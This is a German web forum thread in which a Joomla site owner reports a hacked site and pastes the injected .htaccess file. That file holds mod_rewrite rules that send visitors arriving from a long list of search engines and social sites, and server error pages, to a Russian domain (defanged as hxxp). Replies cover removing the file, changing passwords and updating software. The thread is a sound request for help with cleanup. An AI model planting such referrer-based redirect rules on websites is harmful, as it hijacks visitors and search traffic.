Hallo an alle!

Meine Webseite (Joomla 1.5.22) wurde gehackt. Es wurde eine .htaccess im root eingeschleust.

Ruft man die Webseite direkt auf, fällt dies erstmal nicht auf.
Sucht man jedoch in google, bing, ... und sieht sich den Link in der Statusleiste an - scheint noch alles zu passen. Klickt man nun diesen Link an, wird man auf eine russische Seite weitergeleitet.

Ich habe die .htaccess (Datei im Anhang) ersetzt, Seite mit google Webmastertools geprüft - google konnte nichts schadhaftes feststellen.

Allerdings ist jetzt schon viel Zeit vergangen und die Seite leitet immer noch falsch weiter.

Kann mir jemand helfen?
Woran kann das noch liegen?
Muss ich nun nur auf einen erneuten Besuch von google, bing und dergl. warten?
Welche Möglichkeiten habe ich noch?

Und *schäm* wie müsste eine "ordentliche" .htaccess denn genau aussehen?

Vielen Dank für eure Hilfe,
Andi

											<IfModule mod_rewrite.c>											RewriteEngine On													RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|netscape|aol|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|liveinternet|filesearch|yell|openstat|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv|infospace)\.(.*)														RewriteRule ^(.*)$ hxxp://2014-fitnes.ru/milli?5 [R=301,L]																RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)					

RewriteRule ^(.*)$ hxxp://2014-fitnes.ru/milli?5 [R=301,L]								</IfModule>											ErrorDocument 500 hxxp://2014-fitnes.ru/milli?5
         

Hallo nochmal!

Ich habe nicht locker gelassen und weiter gesucht.
Nun habe ich noch eine .htaccess im root gefunden. Habe den Inhalt gelöscht, wieder ins web gestellt, Rechte 444.

Nun geht die Seite wieder. D.h. wenn ich nun über google oder bing suche lande ich GsD wieder auf meiner Seite.

Thema wäre erledigt - jedoch wie konnte das passieren?
Wie gesagt - ich verwende Joomla 1.5.22 (update wurde schon auf letzte Version gemacht) und natürlich sind auch einige Module im Einsatz.

Vielen Dank für eure Hilfe!!!
Gruß,
Andi

Hallo andeberg,

Was hat dies jetzt mit Mac oder Linux zu tun? Ich verschiebe mal in Netzwerk

Schämen musst du dich eigentlich dafür, dass vermutlich dein Passwort so unsicher war (wenn es dies noch ist, dann aber in Grund und Boden ), dass jemand diese .htaccess einschleusen konnte.
ALLE Passwörter, ALLE Zugänge überprüfen, ändern und durch sichere Passwörter ersetzen.

Ein .htaccess muss nicht vorhanden sein, du kannst aber mit .htaccess-Dateien einiges steuern (wie du gemerkt hast).

Aber es können keine zwei .htaccess gleichzeitig im selben Verzeichnis vorhanden sein, also besteht der Zugang zu deinem Projekt wohl noch immer!
Unternimm gefälligst was!



Je nach dem was dein Webspace wirklich ist, solltest dafür sorgen, dass der Webserver, PHP und Joomla auf einen aktuellen, sicheren Stand kommen und das Projekt ausreichend sicher ist.

Danke für Deine Antwort!

Angenommen dies würde nicht über FTP hochgeladen.
Kann man soetwas (ich nicht aber eben andere) auch über Module oder Plugins in Joomla machen/hochladen oder verändern?

Und die eine .htaccess war im "html"-ordner (root der Webseite) und die andere war noch eine Ebene davor (also nicht im selben Verzeichnis).

Nochmals Danke,
Andi

Zitat von andeberg

Kann man soetwas (ich nicht aber eben andere) auch über Module oder Plugins in Joomla machen/hochladen oder verändern?

Ich kenne mich mit Joomla nicht aus, ich kenne deinen Webserver, deinen Provider nicht, ich kennen den Stand des Vertrages und der Software nicht: Prinzipiell aber kann es möglich sein (ist es möglich), ohne einen dir bekannten FTP-Zugang Daten mit oder ohne FTP auf dem Webserver zu erzeugen oder hochzuladen.

Je nach Vertrag und Beschränkungen, sind aber die weiteren Möglichkeiten nicht oder nur sehr unwahrscheinlich, eventuell nur mit Sicherheitslücken beim Provider, bzw. die der Provider verantworten muss, machbar.

Zitat von andeberg

Und die eine .htaccess war im "html"-ordner (root der Webseite) und die andere war noch eine Ebene davor (also nicht im selben Verzeichnis).

Okay, dann soweit Entwarnung.

Übrigens: Website != Webseite, und auch "root" (vor allem ohne nähere Beschreibung) ist eigentlich nur das echte Wurzelverzeichnis.

Vielen Dank für deine Hilfe!

Für mich ist dieses Thema nun abgeschlossen. Ich werde deinen Rat befolgen. Habe auch für Joomla eine Firewall installiert (möchte Zugriffe beobachten) und werde mich mit meinem Provider kurzschließen.

Ev. kann jemand das Thema beenden - ich finden den "Button" dafür nicht ;-)

Thx und Gruß,
Andi

In der Regel bleiben die Themen bei uns offen, da brauchst du dir keine Gedanken oder Arbeit machen.

Prüfe bitte deine Joomla Installation. Ist sie aktuell?